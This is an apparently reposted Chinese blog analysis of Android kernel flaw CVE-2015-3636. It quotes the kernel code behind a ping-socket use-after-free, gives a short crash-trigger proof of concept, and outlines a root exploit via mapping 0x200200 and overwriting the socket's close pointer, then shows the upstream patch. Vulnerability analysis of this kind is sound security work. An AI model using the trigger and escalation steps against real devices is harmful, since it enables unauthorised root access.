Android 最新漏洞CVE-2015-3636
来源:互联网 发布:软件测试管理方法 编辑:程序博客网 时间:2024/05/21 13:01
漏洞介绍
cv3-2015-3636 这个漏洞能用来提升权限,对于android 4.3以后的设备都能提升权限,包括64位的系统,漏洞利用了kernel UAF(use-after-free) bug.
BUG 分析
当我们创建一个icmp socket, 并且调用connect:
int sockfd = socket(AF_INET,SOCK_DGRAM, IPPROTO_ICMP);struct sockaddr addr= { .sa_family = AF_INET };int ret = connect(sockfd, &addr,sizeof(addr));那么内核里就会调用:
int inet_dgram_connect(struct socket *sock, struct sockaddr * uaddr, int addr_len, int flags){ struct sock *sk = sock->sk; if (addr_len < sizeof(uaddr->sa_family)) return -EINVAL; if (uaddr->sa_family == AF_UNSPEC) return sk->sk_prot->disconnect(sk, flags); if (!inet_sk(sk)->inet_num && inet_autobind(sk)) return -EAGAIN; return sk->sk_prot->connect(sk, (struct sockaddr *)uaddr, addr_len);} EXPORT_SYMBOL(inet_dgram_connect);
int udp_disconnect(struct sock *sk, int flags){ struct inet_sock *inet = inet_sk(sk); /* * 1003.1g - break association. */ sk->sk_state = TCP_CLOSE; inet->inet_daddr = 0; inet->inet_dport = 0; sock_rps_reset_rxhash(sk); sk->sk_bound_dev_if = 0; if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK)) inet_reset_saddr(sk); if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) { sk->sk_prot->unhash(sk); inet->inet_sport = 0; } sk_dst_reset(sk); return 0;}
能看到最后会调用到sk->spk_prot->unhash(sk):
因为我们创建的是icmp socket, 所以会调用到下面的函数:
void ping_unhash(struct sock *sk){ struct inet_sock *isk = inet_sk(sk); pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num); if (sk_hashed(sk)) { write_lock_bh(&ping_table.lock); hlist_nulls_del(&sk->sk_nulls_node); sock_put(sk); isk->inet_num = 0; isk->inet_sport = 0; sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1); write_unlock_bh(&ping_table.lock); }}EXPORT_SYMBOL_GPL(ping_unhash);
hlist_nulls_del(&sk->sk_nulls_node);这个行代码那么, sk_nulls_node 会被删掉。
static inline void __hlist_nulls_del(struct hlist_nulls_node *n){ struct hlist_nulls_node *next = n->next; struct hlist_nulls_node **pprev = n->pprev; *pprev = next; if (!is_a_nulls(next)) next->pprev = pprev;} static inline void hlist_nulls_del(struct hlist_nulls_node *n){ __hlist_nulls_del(n); n->pprev = LIST_POISON2;}导致 n->pprecv = LIST_POISON2;
#ifdef CONFIG_ILLEGAL_POINTER_VALUE# define POISON_POINTER_DELTA _AC(CONFIG_ILLEGAL_POINTER_VALUE, UL)#else# define POISON_POINTER_DELTA 0 #endif /* * These are non-NULL pointers that will result in page faults * under normal circumstances, used to verify that nobody uses * non-initialized list entries. */#define LIST_POISON1 ((void *) 0x00100100 + POISON_POINTER_DELTA)#define LIST_POISON2 ((void *) 0x00200200 + POISON_POINTER_DELTA)LIST_POISON2 的值是0x200200 这个值能够在用户空间,进行映射,来进行攻击。
当在一次进行connect时,如果我们没有映射0x200200, 则会导致kernel crash.
还没有完, 当调用sock_put(sk);
static inline void sock_put(struct sock *sk){ if (atomic_dec_and_test(&sk->sk_refcnt)) sk_free(sk);}当我们调用一次connect 时,会导致sk 被free 掉,但是用户空间的文件描述符,并没有被free,这样就找出UAF.
PoC(Proof-of-Concept)
int sockfd = socket(AF_INET,SOCK_DGRAM, IPPROTO_ICMP);struct sockaddr addr= { .sa_family = AF_INET };int ret = connect(sockfd, &addr,sizeof(addr));struct sockaddr _addr= { .sa_family = AF_UNSPEC };ret = connect(sockfd, &_addr, sizeof(_addr));ret = connect(sockfd, &_addr, sizeof(_addr));
漏洞利用
通过用户空间里来映射内存,来达到覆盖被释放到的sock, 这样,就能控制sock里面的衬衣,这样当用户空间调用close() 时,就能触发内核里的函数:
int inet_release(struct socket *sock){ struct sock *sk = sock->sk; if (sk) { long timeout; sock_rps_reset_flow(sk); /* Applications forget to leave groups before exiting */ ip_mc_drop_socket(sk); /* If linger is set, we don't return until the close * is complete. Otherwise we return immediately. The * actually closing is done the same either way. * * If the close is due to the process exiting, we never * linger.. */ timeout = 0; if (sock_flag(sk, SOCK_LINGER) && !(current->flags & PF_EXITING)) timeout = sk->sk_lingertime; sock->sk = NULL; sk->sk_prot->close(sk, timeout); } return 0;}EXPORT_SYMBOL(inet_release);sk->sk_prot->close(sk, timeout); 因为我没已经控制了sock , 所以sock里面的成员,可以修改成任何值,这样我们把close 映射到用户空间的函数,就能进行提升权限,
可以直接修改task_struct 的cred 来完成root。
漏洞修复
if (sk_hashed(sk)) { write_lock_bh(&ping_table.lock); hlist_nulls_del(&sk->sk_nulls_node);+sk_nulls_node_init(&sk->sk_nulls_node); sock_put(sk); isk->inet_num = 0; isk->inet_sport = 0;
参考
https://github.com/torvalds/linux/commit/a134f083e79fb4c3d0a925691e732c56911b4326
https://bugzilla.redhat.com/show_bug.cgi?id=1218074
0 0
- Android 最新漏洞CVE-2015-3636
- WordPress漏洞分析(CVE-2015-5714 & CVE-2015-5715)
- CVE-2015-0235:幽灵(GHOST)漏洞解析
- Android 5.0屏幕录制漏洞(CVE-2015-3878)威胁预警
- android提权漏洞CVE-2010-EASY修复
- android提权漏洞CVE-2010-EASY修复
- Android电话拨打权限绕过漏洞(CVE-2013-6272)分析
- Android 安卓的CVE(公共漏洞和暴露)
- CVE-2014-7911 Android 反序列化漏洞分析
- Android提权漏洞CVE-2014-7920&CVE-2014-7921分析
- CVE漏洞知识库介绍
- 使用Metasploit测试最新的IE8漏洞(CVE-2012-1875)
- 平滑升级Nginx到新版本v1.12.1修复Nginx最新漏洞CVE-2017-7529
- 腾讯反病毒实验室预警:CVE-2017-11882漏洞最新利用方法
- 浅析CVE-2015-3636
- CVE-2015-3636
- CVE-2015-3636
- GHOST: glibc vulnerability (CVE-2015-0235)#GHOST(幽灵)漏洞修复
- 集合
- Linear Regression Exercise
- 大雪花U盘启动盘制作工具怎么样
- C格式控制符整理
- GC基本原理学习(Garbage Collected)
- Android 最新漏洞CVE-2015-3636
- JVM的相关知识整理和学习
- js时间
- Cocos中动作的初识
- iOS开发UI篇—在UItableview中实现加载更多功能
- 可复用View的PagerAdapter,RecyclePagerAdapter
- 杂项
- 详解super关键字
- 《Servlet与JSP核心编程第二版》阅读记录004-第二个与第三个servlet示例程序-补充